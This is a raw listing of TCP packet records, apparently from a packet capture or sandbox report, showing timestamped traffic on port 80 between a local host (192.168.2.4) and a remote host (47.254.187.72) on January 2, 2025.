Jan 2, 2025 20:34:58.606295109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606300116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606321096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606327057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606352091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606374025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606707096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606745958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606774092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606784105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606801033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606815100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606817007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606826067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606838942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606851101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606858969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606879950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606895924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.613949060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.613966942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.613976955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.613986969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.613993883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.614003897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.614013910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.614021063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.614026070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.614058971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.614070892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.617136955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617175102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.617199898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617208958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617224932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617237091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.617238045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617248058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617259026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617269993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.617271900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.617304087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.622231007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622242928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622255087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622265100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622275114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.622296095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.622308969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622319937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622329950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.622329950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622339010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.622358084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.622390032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.624510050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624528885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624540091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624550104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.624556065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624567986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624577999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.624578953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624589920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624600887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.624619007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.624634981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629703045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629761934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629792929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629802942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629820108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629831076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629838943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629842043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629852057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629853964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629867077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.629874945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629893064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.629905939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651384115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651401997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651420116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651431084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651432037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651442051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651448011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651453018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651463985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651473999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651478052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651489973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651500940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651510954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651511908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651523113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651530981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651534081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651546001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.651557922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651570082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.651598930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.662938118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.662981033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.662990093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663000107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663009882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663021088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663028002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.663048983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663050890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.663059950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663070917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.663084030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.663103104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.672220945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672235966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672247887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672257900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672266960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.672269106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672280073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672288895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.672291040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.672322035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.674295902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674308062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674319029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674329042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674340010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674339056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.674350977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674362898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674366951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.674372911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674386978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.674406052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.674981117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.674993038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675003052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675017118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675035000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675043106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675072908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675075054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675088882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675101042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675103903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675112009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675120115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675136089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675915956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675956964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.675964117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675986052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675997019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.675997972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.676006079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.676012039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.676018953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.676026106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.676028013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.676038980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.676053047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.676079988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692648888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692698956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692711115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692719936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692732096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692742109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692743063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692759037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692770004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692780018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692784071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692791939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692800999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692811966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692811966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692823887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692843914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692856073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692881107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692889929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692898989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692909002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692914963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692930937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.692931890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692955971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.692975044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693028927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693038940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693051100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693061113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693072081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693073988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693082094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693105936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693124056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693541050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693552017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693567991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693573952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693578005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693588018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693589926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693602085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693608046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693612099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693619967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.693638086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.693653107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.700820923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700833082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700843096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700854063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700862885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700870991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.700875044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700886965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.700897932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.700941086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.700968027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.701000929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.703926086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.703974962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.704000950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704010010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704020977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704031944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704039097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.704042912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704056025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704066992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.704073906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.704106092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911299944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911334991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911354065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911365986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911366940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911377907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911389112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911398888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911401033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911407948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911411047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911428928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911441088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911448002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911457062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911462069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911468029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911478996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911489010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911499023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911499977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911510944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911523104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911530972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911534071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911544085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911551952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911565065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911576986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911581039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911592960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911602974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911603928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911614895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911626101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911628008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911637068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911644936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911655903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911664009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911667109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911680937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911683083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911690950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911700010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911700964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911711931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911722898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911726952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911736012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911746025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911756039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911757946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911766052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911782026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911782980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911792994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911793947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911803961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911818027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911818981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911833048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911844015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911845922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911854982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911864996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911874056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911875963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911894083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911895037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911906004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911916971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911920071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911927938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911932945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911938906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911950111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911957979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911967039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911974907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911988020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.911995888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.911998034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912009954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912014008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912019968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912029982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912040949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912041903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912051916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912061930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912071943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912071943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912081957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912091970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912097931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912108898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912110090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912117958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.912125111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.912131071 CET	80	49730	47.254.187.72	192.168.2.4
